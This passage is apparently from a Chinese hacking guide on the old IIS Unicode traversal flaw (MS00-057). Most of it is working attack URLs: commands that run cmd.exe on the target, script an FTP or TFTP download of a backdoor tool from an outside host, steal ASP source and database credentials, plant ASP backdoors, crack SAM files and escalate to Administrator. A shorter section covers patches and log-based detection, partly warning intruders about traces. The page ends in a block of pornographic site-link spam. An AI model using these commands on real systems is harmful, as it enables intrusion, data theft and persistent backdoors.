http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm
運行后解除文件的屬性。
3、ftp的運用
有時我們需要從一個你有權限的FTP主機把你想用到的一些文件上傳到目標主機去,
象ncx99.exe之類的,當然你要把這些文件放在你的空間先。
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt
……/cmd.exe?/c+echo+user>>badboy.txt
……/cmd.exe?/c+echo+pass>>badboy.txt
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt
……/cmd.exe?/c+echo+bye>>badboy.txt
然后運行
……/cmd".exe?/c+ftp+-s:badboy.txt
……/cmd.exe?/c+del badboy.txt
完成以上內容后ncx99.exe已經在inetpub/scripts目錄里了
剩下的就看你怎么用軟件了
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\n
4、TFTP運用
關于TFTP的運用我們在全攻略-5里面的工具介紹中介紹過,那工具可以在WIN9X
或者NT、WIN2K下執行,前提條件是需要你在本機上安裝PERL服務器程序,這對
于一般的愛好者來說稍微有點困難。
實際上如果你是使用NT系統或者你擁有一臺NT肉機的話,就可以使用WINNT\SYSTEM32
下的TFTP.EXE這個軟件了。
tftp/?
Transfers files to and from a remote computer running the TFTP service.
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
幫助是英文的,自己翻譯吧。
在UNICODE上的命令代碼:
http://x.x.x.x/scripts/tftp.exe?-i+127.0.0.1+get+ncx99.exe
5、ASP相關問題
一般情況下,NT機器絕大多數都會使用到ASP寫的WEB程序和SQL數據庫。
大家都知道ASP代碼的泄露意味著你辛辛苦苦寫的ASP源碼被人無償獲得,同時你的站點
也很容易遭到黑手。ASP代碼泄露的漏洞很多種,同樣,在UNICODE編碼漏洞下,你的ASP
源碼同樣可以極易被人獲取。
假設你的index.asp是一個很好的程序,那么,入侵者可以通過type命令查看你的文件。
../cmd.exe?/type c:\inetpub\wwwroot\index.asp
或者通過copy命令
../cmd.exe?/copy c:\inetpub\wwwroot\index.asp c:\inetpub\wwwroot\index.txt
然后直接下載你的源碼,通過分析,找到你的數據庫文件。
如果你是使用SQL服務來做數據庫的,同樣,入侵者可以通過查看你的ASP和global.asa
源碼,通過分析,找到你的用戶名和密碼,然后通過SQL遠程管理客戶端進行攻擊。
那么,你的商業秘密和網站的資料,還有什么安全可言呢?
入侵者還可以在你的主機里上傳一個ASP后門程序(ASE,應該聽說過和用過吧)并隱藏
起來,即使你以后補掉了UNICODE漏洞,入侵仍可在他的ASP后門程序在你未發現之前,
查看、修改、刪除你主機上的WEB文件。
6、獲得超級用戶權限
可以通過下在你的SAM文件,利用一些黑客軟件(如l0phtcrack)暴力破解。
也可以利用前面介紹的上傳方法把gasys.dll、cmd.exe和getadmin.exe到目標主機,
然后通過一些軟件或者方法獲得目標主機的計算機名,再利用getadmin.exe把
iuser_計算機 升級為Administrator
/scripts/getadmin.exe?IUSR_計算機名
那還有什么事不可以做呢?已經等于完全控制這臺主機了。
八.Unicode的安全問題
1、unicode漏洞解決方案
簡單解決方案:
限制網絡用戶訪問和調用CMD的權限,
在SCRIPTS、MSADC目錄沒必要使用的情況下,刪除該文件夾或者改名。
安裝NT系統時不要使用默認WINNT路徑,你可以改為badboy或者其他什么的文件夾。
當然最好的方法還是下載最著名的補丁公司m$提供的補丁。
該漏洞補丁隨微軟安全公告MS00-057一起發布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以從如下地址下載補丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q301625/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q301625/default.asp
2、檢查是否被黑客利用unicode漏洞入侵
檢查LOG日志
在winnt\system32\logfiles\w3svc1\目錄里保留有web訪問記錄
如果曾經被人利用UNICODE漏洞訪問過,我們可以在日志里看到類似的記錄
13:46:07 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 401
13:46:07 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 200
如果有人曾經執行過COPY、del、echo、.bat等具有入侵行為命令時
13:47:37 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 401
13:47:37 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 502
在winnt/system32/logfiles\msftp\svc1目錄里可以找到運行FTP的日志
如果有人執行過FTP命令,在日志文件里我可以看到類似的記錄
13:59:25 127.0.0.1 [2]USER badboy 331
13:59:25 127.0.0.1 [2]PASS - 230
13:59:25 127.0.0.1 [2]sent /a.txt 226
13:59:25 127.0.0.1 [2]QUIT - 226 這里入侵愛好者請注意,你利用目標主機到某個站點FTP下載什么文件都是被記錄
的,不要以為你刪除文件、改文件名就可以逃脫你入侵的證據了。
我們不排除有可能入侵者使用代理服務器。
當然你知道自己被人利用UNICODE漏洞來入侵自己的主機,但在這些日志里你
無法找到記錄,那你就更要注意了,因為你遇到的不是一般的小菜鳥了。
檢查事件查看器里面的錯誤記錄
我們也可以在管理工具的事件查看器里找到入侵者的足跡,比如在某個時段出現
比較多的警告信息。信息類似以下內容:
事件類型: 警告
事件來源: W3SVC
事件種類: 無
事件 ID: 100
日期: 2001-2-2
事件: 21:51:26
用戶: N/A
計算機: CLUB-BUM1HOYJHJ
描述:
該服務器因為錯誤 登錄失敗: 未知的用戶名或錯誤密碼。 而無法登錄至 Windows NT 帳號 'CLUB-BUM1HOYJHJ\badboy'。此數據為錯誤碼。
若要獲取關于此消息的更多的信息,請訪問 Microsoft 聯機支持站點:http://www.microsoft.com/contentredirect.asp 。
數據:
0000: 2e 05 00 00 ....

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 久久电影一区二区 | 91在线视频网址 | 视频一区二区在线播放 | 成年人免费视频播放 | 国产美女三级做爰 | 久久最新视频 | 精品国产乱码久久久久久丨区2区 | 国内精品久久久久久久星辰影视 | 中国av中文字幕 | 一级性生活免费视频 | 国产一级免费在线视频 | 国产91在线高潮白浆在线观看 | 国产69精品久久久久久久久久 | 操碰网 | 小雪奶水翁胀公吸小说最新章节 | 综合激情网 | 成人国产在线看 | 久久精品国产99国产精品亚洲 | 成年性羞羞视频免费观看无限 | 91九色视频在线播放 | 成年人视频在线免费播放 | 日韩激情一区 | 亚洲国产精品久久久久制服红楼梦 | 日韩一级成人 | 国产精品久久久久久久模特 | 久久国产精品免费视频 | 免费嗨片首页中文字幕 | www.91视频com | 中文字幕爱爱视频 | 成人三级视频网站 | 日本中文高清 | 欧美日韩在线播放 | 欧美一级在线免费 | 黄网站免费观看视频 | 久久久www成人免费精品 | 黄色片在线免费播放 | 看免费av | 国产品久久 | 在线a视频 | 在线小视频国产 | 日本黄色免费片 |